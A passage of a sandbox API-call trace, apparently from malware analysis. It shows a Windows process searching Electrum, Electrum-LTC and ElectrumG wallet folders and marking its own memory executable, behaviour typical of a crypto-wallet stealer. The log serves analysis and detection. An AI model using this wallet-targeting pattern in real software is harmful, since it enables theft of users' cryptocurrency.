pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.632] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.632] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.632] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.632] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.632] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\\\*", len=0x35 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\\\*") returned 1 [0165.632] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\\\*", len=0x35 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\\\*") returned 1 [0165.632] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\\\*", len=0x35 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\\\*") returned 1 [0165.633] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\*", len=0x34 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\*") returned 1 [0165.633] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\*", len=0x34 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\*") returned 1 [0165.633] SysReAllocStringLen (in: pbstr=0x1e7df8c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\*", len=0x34 | out: pbstr=0x1e7df8c0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\*") returned 1 [0165.633] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\*", len=0x34 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\*") returned 1 [0165.633] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\*", lpFindFileData=0x1e7df984 | out: lpFindFileData=0x1e7df984*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0165.633] SysReAllocStringLen (in: pbstr=0x1e7dfbec*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\\\", len=0x34 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\\\") returned 1 [0165.633] SysReAllocStringLen (in: pbstr=0x1e7df8cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\\\", len=0x34 | out: pbstr=0x1e7df8cc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\\\") returned 1 [0165.634] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\\\", len=0x34 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\\\") returned 1 [0165.634] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.634] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.634] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.634] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.634] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df984 | out: lpFindFileData=0x1e7df984*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0165.634] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0165.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.641] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ea0, cbMultiByte=13, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="\\Electrum-LTCrum\\wallets\\楆敲潦൸栊瑴獰⼺眯睷洮穯汩慬漮杲支⵮单是物晥硯㈯⸵⼰楦獲牴湵യഊ\n") returned 13 [0165.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.641] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022e74, cbMultiByte=31, lpWideCharStr=0x1e7debec, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Electrum-LTC\\wallets\\栊瑴獰⼺眯睷洮穯汩慬漮杲支⵮单是物晥硯㈯⸵⼰楦獲牴湵യഊ\n") returned 31 [0165.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.642] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Electrum-LTC\\wallets\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 0x38 [0165.642] SysReAllocStringLen (in: pbstr=0x1e7dfc04*="%appdata%\\Electrum-LTC\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7dfc04*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.643] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*", cchWideChar=1, lpMultiByteStr=0x1e7de8c8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*ù}\x1e\x09\x04", lpUsedDefaultChar=0x0) returned 1 [0165.643] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.643] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.643] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.643] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.643] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.643] SysReAllocStringLen (in: pbstr=0x1e7df8c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7df8c0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.643] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.643] SysReAllocStringLen (in: pbstr=0x1fcf1640*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1fcf1640*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.644] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.644] SysReAllocStringLen (in: pbstr=0x1e7df8cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7df8cc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.644] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.644] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.644] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.644] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.644] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.644] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*", len=0x39 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*") returned 1 [0165.644] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*", len=0x39 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*") returned 1 [0165.644] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*", len=0x39 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*") returned 1 [0165.645] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*", len=0x38 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*") returned 1 [0165.645] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*", len=0x38 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*") returned 1 [0165.645] SysReAllocStringLen (in: pbstr=0x1e7df8c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*", len=0x38 | out: pbstr=0x1e7df8c0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*") returned 1 [0165.645] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*", len=0x38 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*") returned 1 [0165.645] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*", lpFindFileData=0x1e7df984 | out: lpFindFileData=0x1e7df984*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0165.645] SysReAllocStringLen (in: pbstr=0x1e7dfbec*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\", len=0x38 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\") returned 1 [0165.645] SysReAllocStringLen (in: pbstr=0x1e7df8cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\", len=0x38 | out: pbstr=0x1e7df8cc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\") returned 1 [0165.645] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\", len=0x38 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\") returned 1 [0165.646] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.646] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.646] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.646] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x37 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0165.646] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df984 | out: lpFindFileData=0x1e7df984*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0165.646] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0165.646] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ee8, cbMultiByte=10, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="\\ElectrumGectrum-LTC\\wallets\\栊瑴獰⼺眯睷洮穯汩慬漮杲支⵮单是物晥硯㈯⸵⼰楦獲牴湵യഊ\n") returned 10 [0165.646] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ebc, cbMultiByte=28, lpWideCharStr=0x1e7debec, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\ElectrumG\\wallets\\ts\\栊瑴獰⼺眯睷洮穯汩慬漮杲支⵮单是物晥硯㈯⸵⼰楦獲牴湵യഊ\n") returned 28 [0165.646] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\ElectrumG\\wallets\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 0x35 [0165.647] SysReAllocStringLen (in: pbstr=0x1e7dfc04*="%appdata%\\ElectrumG\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7dfc04*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.647] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*", cchWideChar=1, lpMultiByteStr=0x1e7de8c8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*ù}\x1e\x09\x04", lpUsedDefaultChar=0x0) returned 1 [0165.647] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.647] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.647] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.647] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.647] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.647] SysReAllocStringLen (in: pbstr=0x1e7df8c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7df8c0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.647] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x34 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0165.647] SysReAllocStringLen (in: pbstr=0x1e7e01bc*=0x0, 